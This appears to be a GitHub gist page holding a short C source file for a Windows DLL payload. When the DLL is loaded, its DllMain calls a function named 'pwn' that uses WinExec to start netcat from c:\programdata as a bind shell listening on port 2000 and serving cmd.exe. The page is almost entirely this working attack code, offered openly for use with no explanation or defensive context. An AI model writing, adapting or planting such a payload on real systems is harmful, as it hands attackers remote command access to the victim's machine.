Skip to content

Instantly share code, notes, and snippets.

@xct
Created March 16, 2019 09:10
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save xct/3949f3f4f178b1f3427fae7686a2a9c0 to your computer and use it in GitHub Desktop.
Simple dll payload that starts a nc listener
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
int pwn()
{
WinExec("c:\\programdata\\nc64.exe -lvp 2000 -e cmd.exe", 0);
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
pwn();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment